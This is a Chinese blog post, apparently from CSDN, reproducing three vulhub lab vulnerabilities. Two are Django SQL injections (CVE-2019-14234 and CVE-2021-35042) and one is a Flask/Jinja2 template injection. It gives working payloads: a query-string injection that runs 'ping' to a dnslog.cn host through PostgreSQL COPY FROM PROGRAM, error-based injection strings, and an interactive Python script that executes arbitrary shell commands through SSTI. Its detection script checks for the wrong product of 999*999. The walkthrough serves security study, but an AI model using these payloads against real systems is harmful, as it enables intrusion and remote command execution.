python框架漏洞

本文章讲述三个漏洞,分别是CVE-2019-14234(sql注入漏洞 Django)、CVE-2021-35042注入漏洞(Django)、Flash jinja2 ssti 模板注入。靶场均来自vulhub(可以搭建在本地,环境很棒)。漏洞主要体现在漏洞复现上,以及造成该漏洞的原因

目录

1、CVE-2019-14234(sql注入漏洞)Django

简介:

1.登陆

​编辑

2.进入http://xxxx:8000/admin/vuln/collection/页面,可以查看到有注入的地方。

3.提交参数

4.外带

2、CVE-2021-35042注入漏洞(Django)

1.poc构造剖析

2.报错注入

2、Flash jinja2 ssti 模板注入

1.探测漏洞是否存在,输入 ?name={{9*9}},返回如下信息则证明漏洞存在。

2.使用以下poc,并进行URL编码

3.如下是exp的利用


 

1、CVE-2019-14234(sql注入漏洞)Django

简介:

该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句,可以利用CVE-2019-14234(SQL注入漏洞)向服务器发送包含CVE-2019-9193(命令执行漏洞)系统命令的SQL语句,从而利用SQL语句,执行任意系统命令。

1.1.登陆

2b2fa8cce9db4ec6b73105f72d682f37.png

 

1.2.进入http://xxxx:8000/admin/vuln/collection/页面,可以查看到有注入的地方。

b25f0754416548ed9c40fe7c2c3da9d5.png

1.3.提交参数

在GET参数中构造detail_a'b=123提交,detial是模型Collection中的JSONFiled,并可以看到报错,单引号注入成功(在Django中,JSONFiled是一种特殊的数据库字段类型,存储JSON格式的数据,可以与PostgreSQL数据库一起使用,模型Collection中,detail字段是JSONFile类型的字段,用于存储Collection对象的详细信息,将这些信息存放在JSONFile中的detail字段中字段。方便进行序列化和反序列化的操作)

67983359e588427d85df5d46137cc24f.png

 

1.4.外带

这里尝试以下是否可以进行外带,输入以下命令,可以看到外带成功。

?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping gfzb0h.dnslog.cn%27--%20 

 

4a2aed4a4248b05cb4a2689832314e21.png


2、CVE-2021-35042注入漏洞(Django)

简介:

该漏洞是由于QuerySet.order_by()查询时 ,对用户传入的参数过滤不严格,可以使攻击者在不需要授权的情况下,构造恶意的参数执行SQL注入攻击。

2.1.poc构造剖析

当输入的参数为id时,查询语句为:

SELECT "vuln_collection"."id", "vuln_collection"."name" FROM "vuln_collection" ORDER BY (id) ASC

 

33e022224723a837fb47d1c8f6425971.png

当输入的参数为id.时,查询语句为:

SELECT "vuln_collection"."id", "vuln_collection"."name" FROM "vuln_collection" ORDER BY (id.) ASC。

 

05e488bb8f6dba5c8b437472bb416b8f.png

当输入参数为 vuln_collection.id);select updatexml(1,concat(0x7e,(select @@version)),1);#时,查询语句被构造,实际上也是堆叠注入的一种。红色部分是构造前面一个查询语句。

SELECT "vuln_collection"."id", "vuln_collection"."name" FROM "vuln_collection" ORDER BY (vuln_collection.id);select updatexml(1,concat(0x7e,(select @@version)),1);# ASC

 

ed287ce86371f6c97f60f05fc0af28b4.png

传入的参数到达add_ordering之后进入for循环,但是如果参数中含有.则会直接跳出循环,因为只有一个参数,而且也是单次循环所以最终不会进入names_to_path方法,而是执行self.order_by += ordering(ordering就是传入的参数),所以add_ordering的作用就是增加self.order_by参数。

2.2.报错注入

这里是进行报错注入,注入的详细步骤如下

1.爆数据库名

 

e0cf05cd069d7d6ea2eaf5bb6778b573.png

2.爆表名

 

d284cc3adf90eca376cd545e06572c32.png

3.爆列名

 

3348f06da2bf5f1b6fe24974538d6893.png

4.爆字段数据

 

241f77ec5bd78f816a5d24058a6c2c85.png


2、Flash jinja2 ssti 模板注入

简介:

flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用Werkzeug ,模板引擎则使用 Jinja2 .。

{{}} 来表示变量名,这种 {{}} 语法叫做变量代码块jinja2模板引擎中有{{}}变量代码块语法,该语法能将里面的参数当作代码执行,所以可以构造对应的payload达到代码执行的效果

3.1.探测漏洞是否存在,

输入 ?name={{9*9}},返回如下信息则证明漏洞存在。

 

79cf2896bd95f91b0ec1f06c998d349e.png

这里有个批量探测是否存在ssti的脚本。

import requests
 
url="http://127.0.0.1:5000/index"
payload="?name={{999*999}}"
 
res=requests.get(url+payload)
if '144' in res.text:
    print(url+' 存在ssti服务端模板注入')
else:
    print(url+' 不存在ssti服务端模板注入')
 

3.2.使用以下poc,并进行URL编码

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

 

5212944a7dbe5b4a1af6135f8a98bc35.png

3.3.如下是exp的利用脚本

import requests
import re
 
url='http://127.0.0.1:5000/index?name='
while True:
    cmd = input('cmd:')
    if cmd=='exit':
        break
    payload = '''
    {% for c in [].__class__.__base__.__subclasses__() %}
        {% if c.__name__ == 'catch_warnings' %}
          {% for b in c.__init__.__globals__.values() %}
          {% if b.__class__ == {}.__class__ %}
            {% if 'eval' in b.keys() %}
              {{ b['eval']('__import__("os").popen("''' + cmd + '''").read()') }}
            {% endif %}
          {% endif %}
          {% endfor %}
        {% endif %}
        {% endfor %}
    '''
    res = requests.get(url + payload)
    result = re.findall('Hello (.*)', res.text, re.S)
    print(result[0].strip())
 

 

 

 

  • 14
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

B10SS0MS

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值